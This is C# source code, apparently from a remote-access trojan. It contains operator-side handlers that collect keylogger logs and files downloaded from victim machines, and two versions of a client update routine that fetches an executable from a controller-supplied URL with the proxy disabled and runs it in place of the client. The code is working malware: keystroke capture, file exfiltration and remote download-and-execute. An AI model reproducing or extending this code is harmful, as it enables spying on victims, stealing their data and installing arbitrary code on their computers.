public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet)
{
if (client.Value == null || client.Value.FrmKl == null)
{
return;
}
if (packet.FileCount == 0)
{
client.Value.FrmKl.SetGetLogsEnabled(true);
return;
}
if (string.IsNullOrEmpty(packet.Filename))
{
return;
}
// don't escape from download directory
if (FileHelper.CheckPathForIllegalChars(packet.Filename))
{
// disconnect malicious client
client.Disconnect();
return;
}
string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");
if (!Directory.Exists(downloadPath))
{
Directory.CreateDirectory(downloadPath);
}
downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");
FileSplit destFile = new FileSplit(downloadPath);
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
try
{
File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath));
}
catch
{
}
if (packet.Index == packet.FileCount)
{
FileInfo[] iFiles =
new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
if (iFiles.Length == 0)
{
return;
}
foreach (FileInfo file in iFiles)
{
if (client.Value == null || client.Value.FrmKl == null)
{
break;
}
client.Value.FrmKl.AddLogToListview(file.Name);
}
if (client.Value == null || client.Value.FrmKl == null)
{
return;
}
client.Value.FrmKl.SetGetLogsEnabled(true);
}
}
}
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
{
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
{
return;
}
// don't escape from download directory
if (packet.Filename.IndexOfAny(DISALLOWED_FILENAME_CHARS) >= 0 || Path.IsPathRooted(packet.Filename))
{
// disconnect malicious client
client.Disconnect();
return;
}
if (!Directory.Exists(client.Value.DownloadDirectory))
{
Directory.CreateDirectory(client.Value.DownloadDirectory);
}
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
{
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
}
if (client.Value == null || client.Value.FrmFm == null)
{
FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
return;
}
int index = client.Value.FrmFm.GetTransferIndex(packet.ID);
if (index < 0)
{
return;
}
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
if (client.Value.FrmFm == null) // abort download when form is closed
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
return;
}
FileSplit destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
return;
}
decimal progress =
Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
if (CanceledDownloads.ContainsKey(packet.ID))
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
if (client.Value.FrmFm == null)
{
return;
}
RenamedFiles.Remove(packet.ID);
client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
}
}
public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadUrl))
{
if (!_renamedFiles.ContainsKey(command.Id))
{
_renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe"));
}
string filePath = _renamedFiles[command.Id];
try
{
if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block))
{
throw new Exception("No executable file");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
throw new Exception(destFile.LastError);
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
if (_renamedFiles.ContainsKey(command.Id))
{
_renamedFiles.Remove(command.Id);
}
client.Send(new SetStatus {
Message = "Updating..."
});
ClientUpdater.Update(client, filePath);
}
}
catch (Exception ex)
{
if (_renamedFiles.ContainsKey(command.Id))
{
_renamedFiles.Remove(command.Id);
}
NativeMethods.DeleteFile(filePath);
client.Send(new SetStatus {
Message = $"Update failed: {ex.Message}"
});
}
return;
}
new Thread(() =>
{
client.Send(new SetStatus {
Message = "Downloading file..."
});
string tempFile = FileHelper.GetTempFilePath(".exe");
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadUrl, tempFile);
}
}
catch
{
client.Send(new SetStatus {
Message = "Download failed!"
});
return;
}
client.Send(new SetStatus {
Message = "Replacing executable..."
});
ClientUpdater.Update(client, tempFile);
}).Start();
}
public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadURL))
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
try
{
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
SystemCore.UpdateClient(client, filePath);
}
}
catch (Exception ex)
{
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
FileHelper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
SystemCore.UpdateClient(client, tempFile);
}).Start();
}